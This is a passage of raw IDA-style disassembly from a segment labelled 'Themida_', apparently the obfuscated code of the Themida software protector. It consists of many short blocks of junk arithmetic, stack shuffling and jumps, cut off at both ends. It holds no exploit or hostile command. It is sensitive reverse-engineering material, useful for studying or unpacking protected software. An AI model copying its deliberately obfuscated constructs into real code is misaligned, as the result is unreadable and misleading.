		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_59B37F
; ---------------------------------------------------------------------------


loc_59053A:				; CODE XREF: Themida_:00591F0Cj
		push	0F6Bh
		jmp	loc_595923
; ---------------------------------------------------------------------------


loc_590544:				; CODE XREF: Themida_:0059824Ej
		xor	eax, [esp]
		jmp	$+5
		pop	esp
		mov	[esp], ecx
		sub	dword ptr [esp], 28924DE7h
		mov	ebx, [esp]
		jmp	loc_5A2C63
; ---------------------------------------------------------------------------


loc_59055F:				; CODE XREF: Themida_:0059B558j
		shr	dl, 2
		sub	esp, 4
		mov	[esp], ebx
		push	7426h
		mov	[esp], eax
		mov	al, 0EDh
		mov	bl, 31h
		sub	bl, al
		pop	eax
		add	bl, 5Ah
		or	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_596651
; ---------------------------------------------------------------------------


loc_59058A:				; CODE XREF: Themida_:005A5597j
		add	ecx, ebp
		jmp	loc_59F441
; ---------------------------------------------------------------------------


loc_590591:				; CODE XREF: Themida_:005A33D2j
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2
		sub	edx, ebx
		pop	ebx
		jmp	loc_598986
; ---------------------------------------------------------------------------


loc_5905A6:				; CODE XREF: Themida_:005A40ABj
		pop	ecx
		push	esi
		mov	esi, 3CD57B5Ch
		and	eax, esi
		pop	esi
		sub	eax, 28D94346h
		push	ebp
		mov	ebp, 33CC5237h
		xor	ebp, 62DE5D74h
		xor	ebp, 2BD76AD7h
		add	ebp, 178A4E5Fh
		jmp	loc_59981E
; ---------------------------------------------------------------------------


loc_5905D2:				; CODE XREF: Themida_:005A1A13j
		sub	ecx, 14703458h
		jmp	loc_59E226
; ---------------------------------------------------------------------------


loc_5905DD:				; CODE XREF: Themida_:005953CDj
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5905EF:				; CODE XREF: Themida_:0059591Ej
		push	eax
		mov	ah, 0CFh
		not	ah
		sub	ah, 14h
		add	ah, 0D7h
		xor	ah, 0DCh
		xor	cl, ah
		mov	eax, [esp]
		add	esp, 4
		sub	dh, 8Eh
		jmp	loc_59E079
; ---------------------------------------------------------------------------


loc_59060D:				; CODE XREF: Themida_:005A0742j
		add	edx, 4
		jmp	loc_595160
; ---------------------------------------------------------------------------


loc_590618:				; CODE XREF: Themida_:005A4915j
		push	ebp
		jmp	loc_5A1A37
; ---------------------------------------------------------------------------


loc_59061E:				; CODE XREF: Themida_:0059700Fj
		xor	esi, 64D07D0Dh
		xor	esi, 0AF31A4B5h
		xor	ecx, esi
		pop	esi
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 52BB0DD8h
		jmp	loc_599ADC
; ---------------------------------------------------------------------------


loc_590645:				; CODE XREF: Themida_:005A3F99j
		mov	ah, 35h
		add	ch, 61h
		add	ch, ah
		sub	ch, 61h
		pop	ax
		push	ebx
		mov	bh, 38h
		add	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	ah, ch
		pop	ecx
		xor	dl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_594333
; ---------------------------------------------------------------------------


loc_590670:				; CODE XREF: Themida_:0059691Dj
		add	esi, 4
		add	esi, 2
		jmp	loc_59FCED
; ---------------------------------------------------------------------------


loc_590681:				; CODE XREF: Themida_:00598435j
		push	eax
		jmp	loc_59B30B
; ---------------------------------------------------------------------------


loc_590687:				; CODE XREF: Themida_:0059C4E1j
		add	ebx, 4
		jmp	loc_59DA9F
; ---------------------------------------------------------------------------


loc_590692:				; CODE XREF: Themida_:0059C7F9j
		inc	ebp
		or	ebp, 306036DCh
		jmp	loc_592FE6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	3AADh
		jmp	loc_59E564
; ---------------------------------------------------------------------------


loc_5906B4:				; CODE XREF: Themida_:00595213j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		mov	ebp, 6E410AFEh
		push	esi
		mov	esi, 9277063h
		or	ebp, esi
		mov	esi, [esp]
		jmp	loc_59C029
; ---------------------------------------------------------------------------


loc_5906D4:				; CODE XREF: Themida_:005A3DFAj
		neg	edi
		dec	edi
		inc	edi
		xor	edi, 0F715B3D8h
		add	eax, edi
		pop	edi
		sub	eax, esi
		jmp	loc_59D32A
; ---------------------------------------------------------------------------


loc_5906E8:				; CODE XREF: Themida_:005A3130j
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_598383
; ---------------------------------------------------------------------------


loc_5906F6:				; CODE XREF: Themida_:00591F68j
		xor	esi, 361F2A39h
		neg	esi
		add	esi, 87F2A60Fh
		push	2821h
		mov	[esp], esi
		mov	eax, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 7FAF4221h
		add	edi, eax
		add	edi, 7FAF4221h
		mov	eax, [esp]
		add	esp, 4
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A537D
; ---------------------------------------------------------------------------


loc_59074F:				; CODE XREF: Themida_:0059161Ej
		push	ebp
		push	esp
		pop	ebp
		push	3133h
		jmp	loc_594BD6
; ---------------------------------------------------------------------------


loc_59075C:				; CODE XREF: Themida_:005A33EBj
		push	5AFBh
		jmp	loc_5A41F1
; ---------------------------------------------------------------------------


loc_590766:				; CODE XREF: Themida_:0059194Fj
		mov	cl, 18h
		push	eax
		mov	al, 0F7h
		neg	al
		jmp	loc_59D7B5
; ---------------------------------------------------------------------------


loc_590772:				; CODE XREF: Themida_:005A4B15j
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_595477
; ---------------------------------------------------------------------------


loc_59077C:				; CODE XREF: Themida_:0059233Ej
		mov	edi, 4
		sub	esi, edi
		pop	edi
		jmp	loc_599DC6
; ---------------------------------------------------------------------------


loc_590789:				; CODE XREF: Themida_:005972C5j
		mov	edi, ebp
		pop	ebp
		jmp	loc_598DC7
; ---------------------------------------------------------------------------


loc_590791:				; CODE XREF: Themida_:005966C7j
		add	eax, 4
		jmp	loc_596796
; ---------------------------------------------------------------------------


loc_59079B:				; CODE XREF: Themida_:005A4879j
		sub	ecx, ebx
		pop	ebx
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 0D8CCE21Ch
		and	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, 24B710D1h
		jmp	loc_5904C3
; ---------------------------------------------------------------------------


loc_5907C4:				; CODE XREF: Themida_:00599771j
		push	esp
		jmp	loc_5988EC
; ---------------------------------------------------------------------------


loc_5907CA:				; CODE XREF: Themida_:005A08EFj
		mov	[esp], edi
		jmp	loc_5A1C24
; ---------------------------------------------------------------------------


loc_5907D2:				; CODE XREF: Themida_:0059B3A8j
		mov	edx, 10B40BA0h
		jmp	loc_5983F4
; ---------------------------------------------------------------------------


loc_5907DC:				; CODE XREF: Themida_:005A447Bj
		mov	[esp], edx
		mov	edx, 1
		push	ebp
		push	edx
		pop	ebp
		push	ebp
		pop	dword ptr [edi+20h]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, 69283D2Dh
		add	edx, ecx
		sub	edx, 69283D2Dh
		jmp	loc_5A52A7
; ---------------------------------------------------------------------------


loc_590819:				; CODE XREF: Themida_:005932E9j
		sub	edi, ebp
		add	edi, 7CB82355h
		pop	ebp
		jmp	loc_597C7B
; ---------------------------------------------------------------------------


loc_590827:				; CODE XREF: Themida_:0059D593j
		mov	[esp], esi
		jmp	loc_5947C3
; ---------------------------------------------------------------------------


loc_59082F:				; CODE XREF: Themida_:00592F0Ej
		inc	ebx
		inc	ebx
		xor	ebx, 6BB41042h
		add	edi, 39C06A8Ah
		add	edi, ebx
		push	esi
		mov	esi, 39C06A8Ah
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_595E6A
; ---------------------------------------------------------------------------


loc_59085F:				; CODE XREF: Themida_:00597C60j
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		add	esp, 4
		xor	al, bl
		xor	bl, al
		xor	al, bl
		jmp	loc_5A37AA
; ---------------------------------------------------------------------------


loc_59087A:				; CODE XREF: Themida_:00599D30j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_590F5F
; ---------------------------------------------------------------------------


loc_590888:				; CODE XREF: Themida_:0059EB34j
		add	eax, edx
		jmp	loc_5A0E5B
; ---------------------------------------------------------------------------


loc_59088F:				; CODE XREF: Themida_:0059E602j
		pop	eax
		push	edi
		mov	edi, 2
		sub	ecx, 6E41370Fh
		add	ecx, 6FC4628Dh
		add	ecx, edi
		jmp	loc_5A4B4F
; ---------------------------------------------------------------------------


loc_5908A9:				; CODE XREF: Themida_:0059F6E4j
		xor	esi, 0A281AA87h
		add	eax, 179B52F9h
		jmp	loc_59551D
; ---------------------------------------------------------------------------


loc_5908B9:				; CODE XREF: Themida_:0059A625j
		shr	ecx, 1
		and	ecx, 3AD83B18h
		xor	ecx, 36A66781h
		mov	ebp, ecx
		pop	ecx
		mov	eax, ebp
		pop	ebp
		add	edi, eax
		jmp	loc_5A417A
; ---------------------------------------------------------------------------


loc_5908D4:				; CODE XREF: Themida_:005A297Ej
		add	esi, 4
		jmp	loc_59CC68
; ---------------------------------------------------------------------------


loc_5908DF:				; CODE XREF: Themida_:0059E81Fj
		pop	ebp
		add	esp, 4
		neg	eax
		sub	eax, 0FFFFFFFFh
		push	ebx
		mov	ebx, 717F159Bh
		or	ebx, 2E2C5659h
		jmp	loc_599656
; ---------------------------------------------------------------------------


loc_5908F9:				; CODE XREF: Themida_:005A4D95j
		add	eax, 3785357Eh
		push	3561h
		mov	[esp], ebp
		mov	ebp, 662C603Dh
		and	ebp, 328F64B8h
		add	ebp, 0FFFFFFFFh
		jmp	loc_593BAC
; ---------------------------------------------------------------------------


loc_590919:				; CODE XREF: Themida_:005985FFj
		sub	eax, 11ED67E8h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_593524
; ---------------------------------------------------------------------------


loc_590935:				; CODE XREF: Themida_:00592B31j
		sub	ebx, edi
		pop	edi
		add	ecx, 16AA0CE4h
		push	3A1Bh
		mov	[esp], ebx
		mov	ebx, 31DB081Ah
		add	ecx, 3EEC2ABAh
		sub	ecx, ebx
		sub	ecx, 3EEC2ABAh
		pop	ebx
		add	ecx, ebx
		jmp	loc_591C3B
; ---------------------------------------------------------------------------


loc_590961:				; CODE XREF: Themida_:005A3EF9j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 1B7E7D95h
		add	[esp+4], eax
		add	dword ptr [esp+4], 1B7E7D95h
		pop	eax
		push	dword ptr [esp]
		jmp	loc_59B466
; ---------------------------------------------------------------------------


loc_59098B:				; CODE XREF: Themida_:005984DCj
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		sub	edi, 47223193h
		add	edi, edx
		jmp	loc_5A4038
; ---------------------------------------------------------------------------


loc_5909A1:				; CODE XREF: Themida_:0059E425j
		xchg	edx, [esp]
		jmp	loc_595BDB
; ---------------------------------------------------------------------------


loc_5909A9:				; CODE XREF: Themida_:005955B9j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59DBF4
; ---------------------------------------------------------------------------


loc_5909D4:				; CODE XREF: Themida_:00593424j
		add	edx, 6CD770D9h
		jmp	loc_59D9BE
; ---------------------------------------------------------------------------


loc_5909DF:				; CODE XREF: Themida_:005965A4j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_590D33
; ---------------------------------------------------------------------------


loc_5909EA:				; CODE XREF: Themida_:005919C2j
		mov	ebx, [esp]
		jmp	loc_593D26
; ---------------------------------------------------------------------------


loc_5909F2:				; CODE XREF: Themida_:005981F1j
		add	esi, 13471B01h
		jmp	loc_5A36E2
; ---------------------------------------------------------------------------


loc_5909FD:				; CODE XREF: Themida_:005A4187j
		push	ebx
		jmp	loc_5A15CD
; ---------------------------------------------------------------------------


loc_590A03:				; CODE XREF: Themida_:0059A127j
		sub	ebx, 5963083Fh
		sub	ebx, 4A4088Ch
		sub	ebx, ecx
		add	ebx, 4A4088Ch
		add	ebx, 5963083Fh
		pop	ecx
		add	[ebx], esi
		pop	ebx
		jmp	loc_59495E
; ---------------------------------------------------------------------------


loc_590A26:				; CODE XREF: Themida_:00592929j
		sub	edi, 0DA64A88Ch
		jmp	loc_5A412F
; ---------------------------------------------------------------------------


loc_590A31:				; CODE XREF: Themida_:0059F1A2j
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_59DF26
; ---------------------------------------------------------------------------
		lodsd
		push	6BA9h
		mov	[esp], ebp
		mov	ebp, 1295D6Ch
		sub	esi, ebp
		jmp	loc_5936D7
; ---------------------------------------------------------------------------


loc_590A59:				; CODE XREF: Themida_:00592B66j
		pop	esi
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_598484
; ---------------------------------------------------------------------------


loc_590A66:				; CODE XREF: Themida_:005937E4j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_590A77:				; CODE XREF: Themida_:0059651Fj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_59E1CC
; ---------------------------------------------------------------------------


loc_590A9F:				; CODE XREF: Themida_:0059E189j
		push	269Fh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	6882h
		jmp	loc_5970BD
; ---------------------------------------------------------------------------


loc_590ABC:				; CODE XREF: Themida_:0059BC86j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A1D23
; ---------------------------------------------------------------------------


loc_590ACA:				; CODE XREF: Themida_:005A0F01j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_593062
; ---------------------------------------------------------------------------


loc_590ADF:				; CODE XREF: Themida_:00597330j
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		jmp	loc_59756A
; ---------------------------------------------------------------------------


loc_590AF0:				; CODE XREF: Themida_:00595E59j
		mov	ebx, 1
		sub	esi, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esi, 1200D3Bh
		add	ebp, 70C128F0h
		add	ebp, esi
		jmp	loc_59CC11
; ---------------------------------------------------------------------------


loc_590B1D:				; CODE XREF: Themida_:0059BF6Ej
		push	eax
		mov	ah, 0AFh
		mov	bh, ah
		pop	eax
		and	cl, bh
		pop	bx
		add	cl, 71h
		mov	dh, cl
		mov	ecx, [esp]
		jmp	loc_593B12
; ---------------------------------------------------------------------------


loc_590B34:				; CODE XREF: Themida_:005A260Ej
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_590B50:				; CODE XREF: Themida_:0059735Cj
		xor	al, dl
		pop	edx
		push	cx
		mov	cl, 2Bh
		jmp	loc_59D5B8
; ---------------------------------------------------------------------------


loc_590B5C:				; CODE XREF: Themida_:00594FD5j
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59E22F
; ---------------------------------------------------------------------------


loc_590B69:				; CODE XREF: Themida_:005A28CDj
		mov	eax, 3D75566Bh
		add	ecx, eax
		pop	eax
		pop	edi
		neg	ecx
		jmp	loc_59A25F
; ---------------------------------------------------------------------------


loc_590B79:				; CODE XREF: Themida_:00592615j
		mov	[esp], eax
		push	3DF42148h
		pop	eax
		jmp	loc_5971BC
; ---------------------------------------------------------------------------


loc_590B87:				; CODE XREF: Themida_:005910F7j
		add	edi, 0C81ACA4Fh
		mov	ebp, edi
		jmp	loc_597DAC
; ---------------------------------------------------------------------------


loc_590B94:				; CODE XREF: Themida_:0059B713j
		add	bl, 6Fh
		push	ax
		mov	al, 5
		sub	bl, al
		pop	ax
		jmp	loc_5A5753
; ---------------------------------------------------------------------------


loc_590BA4:				; CODE XREF: Themida_:005A5023j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		div	cl
		jmp	loc_59A757
; ---------------------------------------------------------------------------


loc_590BC1:				; CODE XREF: Themida_:0059ADABj
		sub	ch, 74h
		sub	al, 0E7h
		sub	al, ch
		add	al, 0E7h
		push	dword ptr [esp]
		jmp	loc_5913C4
; ---------------------------------------------------------------------------


loc_590BD2:				; CODE XREF: Themida_:005A4C13j
		inc	edi
		add	edi, 32FF1DA7h
		xor	ebx, edi
		jmp	loc_59C27C
; ---------------------------------------------------------------------------


loc_590BE0:				; CODE XREF: Themida_:0059EEFFj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_59D19D
; ---------------------------------------------------------------------------


loc_590BF8:				; CODE XREF: Themida_:005A51DFj
		push	ebx
		mov	ebx, 0FFFFFFFFh
		mov	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 5EE6F26h
		push	ecx
		jmp	loc_5A0039
; ---------------------------------------------------------------------------


loc_590C0D:				; CODE XREF: Themida_:00590CF3j
		xor	al, 28h
		or	al, 48h
		add	al, 1Fh
		xor	al, 31h
		add	dl, al
		pop	eax
		push	ebx
		mov	bl, dl
		mov	al, bl
		pop	ebx
		pop	edx
		xor	bh, al
		mov	ax, [esp]
		jmp	loc_59BF18
; ---------------------------------------------------------------------------


loc_590C2A:				; CODE XREF: Themida_:005960B0j
		neg	cl
		push	eax
		push	ebx
		mov	bh, 40h
		sub	bh, 73h
		mov	ah, bh
		pop	ebx
		jmp	loc_5939A5
; ---------------------------------------------------------------------------


loc_590C3B:				; CODE XREF: Themida_:00590C94j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59FE5B
; ---------------------------------------------------------------------------


loc_590C46:				; CODE XREF: Themida_:005A44B2j
		inc	edx
		add	edx, 51D6515Fh
		xor	edx, 0C14B7D85h
		add	ebx, edx
		pop	edx
		mov	eax, ebx
		pop	ebx
		push	ebx
		jmp	loc_59A347
; ---------------------------------------------------------------------------


loc_590C5F:				; CODE XREF: Themida_:005965D5j
		and	edx, 3A383921h
		and	edx, 5B574809h
		dec	edx
		jmp	loc_595D58
; ---------------------------------------------------------------------------


loc_590C71:				; CODE XREF: Themida_:0059380Fj
		pop	eax
		dec	eax
		sub	eax, 2F15A289h
		add	esi, eax
		jmp	loc_5A2A23
; ---------------------------------------------------------------------------


loc_590C7F:				; CODE XREF: Themida_:0059DEABj
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_590C3B
; ---------------------------------------------------------------------------


loc_590C99:				; CODE XREF: Themida_:0059F03Ej
		pop	edx
		jmp	loc_598237
; ---------------------------------------------------------------------------


loc_590C9F:				; CODE XREF: Themida_:00592F30j
		mov	esp, [esp]
		jmp	loc_596D32
; ---------------------------------------------------------------------------


loc_590CA7:				; CODE XREF: Themida_:005A3B12j
		mov	bx, [esp]
		add	esp, 2
		and	bl, 88h
		shr	bl, 1
		jmp	loc_598DF3
; ---------------------------------------------------------------------------


loc_590CBB:				; CODE XREF: Themida_:00594169j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_599758
; ---------------------------------------------------------------------------


loc_590CCA:				; CODE XREF: Themida_:005A15BEj
		xor	dx, di
		xor	di, dx
		push	dx
		xchg	cx, [esp]
		push	cx
		not	word ptr [esp]
		pop	cx
		jmp	loc_5A468C
; ---------------------------------------------------------------------------
		push	ebp
		jmp	loc_5A26E4
; ---------------------------------------------------------------------------


loc_590CE9:				; CODE XREF: Themida_:0059C17Dj
		mov	esp, [esp]
		jmp	loc_59317A
; ---------------------------------------------------------------------------


loc_590CF1:				; CODE XREF: Themida_:0059304Aj
		sub	al, 0A5h
		jmp	loc_590C0D
; ---------------------------------------------------------------------------


loc_590CF8:				; CODE XREF: Themida_:005A548Fj
		pop	esp
		push	57BCh
		mov	[esp], ebx
		push	edx
		mov	dh, 14h
		push	ecx
		push	2FBDh
		jmp	loc_59EA7E
; ---------------------------------------------------------------------------


loc_590D0F:				; CODE XREF: Themida_:0059A06Dj
		mov	edi, esp
		jmp	loc_59C74E
; ---------------------------------------------------------------------------


loc_590D16:				; CODE XREF: Themida_:005A149Ej
		mov	ax, si
		mov	esi, [esp]
		add	esp, 4
		add	ax, 4B59h
		shl	ax, 8
		xor	ax, 6774h
		jmp	loc_5969C7
; ---------------------------------------------------------------------------


loc_590D33:				; CODE XREF: Themida_:005909E5j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A1749
; ---------------------------------------------------------------------------


loc_590D50:				; CODE XREF: Themida_:005982ECj
		mov	esp, [esp]
		jmp	loc_59CBDD
; ---------------------------------------------------------------------------


loc_590D58:				; CODE XREF: Themida_:005A568Dj
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_590D6A:				; CODE XREF: Themida_:0059FFCEj
		pop	edx
		jmp	loc_5A1946
; ---------------------------------------------------------------------------


loc_590D70:				; CODE XREF: Themida_:005968FBj
		sub	edi, 2584B6C1h
		jmp	loc_59D357
; ---------------------------------------------------------------------------


loc_590D7B:				; CODE XREF: Themida_:005A4E11j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		push	ebx
		xchg	esi, [esp]
		jmp	loc_5A3A04
; ---------------------------------------------------------------------------


loc_590D8D:				; CODE XREF: Themida_:0059B076j
		neg	eax
		add	eax, 3913149Ah
		sub	eax, 2123DC4h
		mov	ebx, eax
		pop	eax
		xor	ebx, 1DC34F0Dh
		shr	ebx, 5
		sub	ebx, 0FC31BCDh
		jmp	loc_598BA9
; ---------------------------------------------------------------------------


loc_590DB0:				; CODE XREF: Themida_:0059B6B9j
		add	eax, esi
		add	eax, 9285865h
		jmp	loc_59CD12
; ---------------------------------------------------------------------------


loc_590DBC:				; CODE XREF: Themida_:005A29E1j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_590DC1:				; CODE XREF: Themida_:0059AFF7j
		add	esi, 7E6FFE3Fh
		or	eax, esi
		pop	esi
		jmp	loc_596900
; ---------------------------------------------------------------------------


loc_590DCF:				; CODE XREF: Themida_:00593DB7j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59AC6A
; ---------------------------------------------------------------------------


loc_590DDF:				; CODE XREF: Themida_:00598998j
		mov	eax, 0
		add	eax, ecx
		push	ecx
		jmp	loc_5A129A
; ---------------------------------------------------------------------------
		lodsd
		push	570Eh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 582A64DCh
		push	edi
		push	37C35033h
		pop	edi
		sub	esp, 4
		jmp	loc_59C938
; ---------------------------------------------------------------------------


loc_590E15:				; CODE XREF: Themida_:00598BDAj
		sub	bx, di
		jmp	loc_5A2A85
; ---------------------------------------------------------------------------


loc_590E1D:				; CODE XREF: Themida_:0059F678j
		shl	edi, 4
		not	edi
		jmp	loc_599D3E
; ---------------------------------------------------------------------------


loc_590E27:				; CODE XREF: Themida_:00597F89j
		mov	edi, 644470BBh
		add	edi, 0B11AC404h
		sub	ecx, 40365675h
		sub	ecx, edi
		add	ecx, 40365675h
		jmp	loc_596E4E
; ---------------------------------------------------------------------------


loc_590E45:				; CODE XREF: Themida_:005978F1j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_590E4A:				; CODE XREF: Themida_:0059320Dj
		xor	esi, edx
		pop	edx
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	esi, edx
		pop	edx
		add	esi, 1
		jmp	loc_5968CE
; ---------------------------------------------------------------------------


loc_590E5E:				; CODE XREF: Themida_:005A36D7j
		mov	edx, 52D4044Bh
		push	edi
		mov	edi, 6F4B600Eh
		push	esi
		mov	esi, 5DE439EDh
		sub	edi, 28B00529h
		jmp	loc_59EB72
; ---------------------------------------------------------------------------


loc_590E7A:				; CODE XREF: Themida_:005A2361j
		mov	[esp], ebx
		mov	bl, 48h
		sub	ch, 0D6h
		add	ch, bl
		add	ch, 0D6h
		jmp	loc_5A2753
; ---------------------------------------------------------------------------


loc_590E8C:				; CODE XREF: Themida_:005951EBj
		mov	ebp, esp
		push	ebx
		push	edx
		mov	edx, 2A742359h
		jmp	loc_59CB16
; ---------------------------------------------------------------------------


loc_590E9A:				; CODE XREF: Themida_:0059D795j
		or	eax, 701146C4h
		push	eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 9424CFD0h
		or	ebp, eax
		mov	eax, [esp]
		push	ebx
		jmp	loc_596EC4
; ---------------------------------------------------------------------------


loc_590EB4:				; CODE XREF: Themida_:00598333j
		mov	ebx, 30h
		sub	ebx, 2191109Dh
		jmp	loc_5A2339
; ---------------------------------------------------------------------------


loc_590EC4:				; CODE XREF: Themida_:005A1478j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	4CE4h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A092C
; ---------------------------------------------------------------------------


loc_590EEB:				; CODE XREF: Themida_:005978AEj
		mov	ebx, [esp]
		jmp	loc_59CC09
; ---------------------------------------------------------------------------


loc_590EF3:				; CODE XREF: Themida_:0059B732j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5923F3
; ---------------------------------------------------------------------------


loc_590EFE:				; CODE XREF: Themida_:0059266Aj
		and	eax, 24C144B0h
		xor	eax, 2D305D06h
		jmp	loc_599B98
; ---------------------------------------------------------------------------


loc_590F0D:				; CODE XREF: Themida_:0059B6FFj
		mov	[esp], esi
		mov	esi, 1FCB022Ch
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		push	1726h
		jmp	loc_59E460
; ---------------------------------------------------------------------------


loc_590F28:				; CODE XREF: Themida_:00598DA0j
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5921FF
; ---------------------------------------------------------------------------


loc_590F4F:				; CODE XREF: Themida_:005A1648j
		xor	eax, 5EC62D8Dh
		sub	edx, 700317B8h
		jmp	loc_592C32
; ---------------------------------------------------------------------------


loc_590F5F:				; CODE XREF: Themida_:00590883j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_598BF7
; ---------------------------------------------------------------------------


loc_590F6A:				; CODE XREF: Themida_:0059BB03j
		pop	esi
		jmp	loc_5936F0
; ---------------------------------------------------------------------------


loc_590F70:				; CODE XREF: Themida_:0059F8BEj
		mov	ecx, 56F4B884h
		sub	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59F600
; ---------------------------------------------------------------------------


loc_590F80:				; CODE XREF: Themida_:00593EBFj
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		jmp	loc_5959E5
; ---------------------------------------------------------------------------


loc_590F8C:				; CODE XREF: Themida_:005914FCj
		not	edi
		shr	edi, 1
		inc	edi
		neg	edi
		sub	edi, 36781FB2h
		jmp	loc_5950CA
; ---------------------------------------------------------------------------


loc_590F9E:				; CODE XREF: Themida_:0059D33Ej
		push	6017h
		mov	[esp], edx
		push	0DA2h
		mov	[esp], edi
		mov	edi, 68716ADBh
		mov	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 4B2F7F90h
		sub	[esp+8], ecx
		pop	ecx
		jmp	loc_5A328F
; ---------------------------------------------------------------------------


loc_590FC6:				; CODE XREF: Themida_:00599D18j
		xor	eax, edi
		pop	edi
		jmp	loc_59C4F3
; ---------------------------------------------------------------------------


loc_590FCE:				; CODE XREF: Themida_:005A445Ej
		mov	ebx, 62271F0Ah
		push	ecx
		push	1BB63788h
		jmp	loc_5A3CBC
; ---------------------------------------------------------------------------


loc_590FDE:				; CODE XREF: Themida_:005A3F17j
		push	6E3251F2h
		pop	edx
		push	ebp
		mov	ebp, 753C4366h
		dec	ebp
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		not	ebp
		shr	ebp, 7
		push	eax
		mov	eax, 0FB2A49E4h
